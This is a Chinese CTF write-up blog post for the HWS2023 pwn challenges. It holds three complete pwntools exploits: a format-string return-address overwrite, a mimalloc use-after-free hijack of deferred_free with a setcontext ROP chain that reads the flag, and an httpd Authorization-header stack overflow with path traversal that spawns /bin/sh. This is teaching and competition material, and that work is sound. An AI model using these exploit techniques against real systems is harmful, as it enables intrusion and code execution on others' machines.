HWS2023

本文最后更新于:2023年12月28日 晚上

0x0:写在所有之前

很难评价这次的HWS,还以为会有固件、Iot和kernel,白准备了。

Misc和Crypto真的pwn手坐大牢,只能各挑软柿子捏了。

0x1:The WriteUp of Pwn

fmt

最标准的栈上格式化字符串

泄露出栈地址和libc基址后改ret_addr为ogg一把梭就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# -*- coding: UTF-8 -*-
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
libc = ELF('./libc.so.6')

flag=1
if flag:
p = remote('60.204.140.184', 30030)
else:
p = process('./fmt')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))


payload = b'%10$p%18$p%19$p'
sla(b': ',payload)

ru(b'0x')
libc.address = int(rc(12),16) - libc.sym['_IO_2_1_stderr_']
ru(b'0x')
stack_addr = int(rc(12),16) - 0x10
ru(b'0x')
code_base = int(rc(12),16) - 0x13e2
leak("libc.address",libc.address)
leak("stack",stack_addr)
leak("code_base",code_base)

gadget = [0xe3afe,0xe3b01,0xe3b04]
one_gadget = libc.address + gadget[1]
target = stack_addr +0x18
low = one_gadget & 0xffff
high = (one_gadget >> 16) & 0xffff


payload = b'%' + str(low).encode( )+ b'c%10$hn'
payload += b'%' + str(high-low).encode() + b'c%11$hn'
payload = payload.ljust(0x20,b'a')
payload += p64(target) + p64(target+2)

sla(b': ',payload)
leak("onegadget",one_gadget)
leak("low",low)
leak("high",high)
p.interactive()

mi

第一次做mi_malloc的题,刚开始在ubuntu20里找不到libmimalloc2.0的安装包,后来问了xtx师傅直接用patchelf中的”–add-needed”选项直接把libmimalloc.so和libpthread.so给patch进去就好了。

因为有free后指针未置0,且mimalloc用来分配heap的头部可以泄露出libmimalloc的基地址,libmimalloc的基地址与libc的偏移固定,因此可以得到libc。

通过观察mi_malloc函数,发现存在deferred_free这个类似malloc_hook的函数,且位于deferred_free-0x8处的deferred_arg为可控的rdx,于是可以直接setcontext进行orw,堆栈结合太麻烦了。

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
import lib2to3.pgen2.tokenize

from pwn import *

context.log_level='debug'
context.arch='amd64'
libc = ELF('./libc.so.6')
libmimalloc = ELF("./libmimalloc.so.2")

p = remote("123.60.179.52",30208)
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))

menu = b':\n'
def add(size,content):
sla(b'>>',b'1')
sla(menu,str(size).encode())
sa(menu,content)

def delete(idx):
sla(b'>>',b'2')
sla(menu,str(idx).encode())

def edit(idx,content):
sla(b'>>',b'3')
sla(menu,str(idx).encode())
sa(menu,content)

def show(idx):
sla(b'>>',b'4')
sla(menu,str(idx).encode())

def pwn():
add(0x40, b'a' * 0x40) # 0
add(0x40, b'a' * 0x40) # 1

show(1)
ru(b'a' * 0x40)
heap_base = u64(ru(b"\n")[:-1].ljust(8, b"\x00")) - 0x20140

add(0x500, b'aa') # 2
add(0x500, b'aa') # 3
delete(2)
delete(2)
edit(2, p64(heap_base + 0x158))

for i in range(0x3):
add(0x500, b'b' * 0x8)
show(6)
ru(b'b' * 8)
libmimalloc.address = u64(ru(b'\x7f')[-6:].ljust(8, b'\x00')) + 0x1f48c0
libc.address = libmimalloc.address - 0x1f2000

leak("heap_base", heap_base)
leak("libcmimalloc", libmimalloc.address)
leak("libc.address", libc.address)

deferred_free = libmimalloc.address + 0x75f50
setcontext = libc.sym['setcontext'] + 61
fake_rdx = heap_base + 0x30000
pop_rdi = 0x0000000000023b6a + libc.address
pop_rsi = 0x000000000002601f + libc.address
pop_rdx = 0x0000000000142c92 + libc.address
pop_rax = 0x0000000000036174 + libc.address
syscall = 0x00000000000630a9 + libc.address
ret = 0x0000000000022679 + libc.address

add(0x500, b'c' * 8) # 7
delete(7)
delete(7)
edit(7, p64(deferred_free - 0x10))
for i in range(3):
add(0x500, b'c' * 8)


add(0x500, p64(0) + p64(fake_rdx) + p64(setcontext))

payload = b'./flag\x00\x00'
payload = payload.ljust(0xa0, b'\x00') + p64(fake_rdx + 0xb0) + p64(ret)

orw = flat([
pop_rdi, fake_rdx,
pop_rsi, 0,
pop_rdx, 0,
pop_rax, 2,
syscall,
pop_rdi, 3,
pop_rsi, fake_rdx + 0x1200,
pop_rdx, 0x50,
pop_rax, 0,
syscall,
pop_rdi, 1,
pop_rax, 1,
syscall
])

edit(2, payload + orw)
sla(b'>>', b'1')

sla(menu, b'1')

p.interactive()

pwn()

httpd

赛后看了下好像和vnctf2022的classic httpd挺像的

就是Authorization那里的base64有个栈溢出

可以构造htdocs/../../../bin/sh

然后再绕一下就能进入sub_0x2993执行execl(cmd,0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
import sys
import requests

context.log_level='debug'

flag=1
if flag:
p = remote('60.204.140.184', 30318)
else:
p = process('')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))

# url = "http://127.0.0.1:4000/"
#
# payload = "a"*0x3a + "/../../../bin/sh?korey0sh1.html"
# res = requests.get(url=url,auth=("Admin",payload))
# print(res.text)

payload = b'GET / HTTP/1.1\r\n'
payload += b'Authorization: Basic '
payload += base64.b64encode(b'\x00'*0x40 + b'/../../../../../../bin/sh?korey0sh1.html')
payload += b'\r\n\r\n'

sd(payload)
p.interactive()

不知道为什么request发包不行

0xff:写在最后的最后

题目感觉都挺常规的(pwn被各位大爹打烂了)

mi_malloc第一次做,学到新东西,很感谢出题师傅。

httpd这种协议模拟题好像碰到的越来越多了,感觉要搞个专题好好强化一下。


HWS2023
http://example.com/2023/07/17/HWS2023/
作者
korey0sh1
发布于
2023年7月17日
许可协议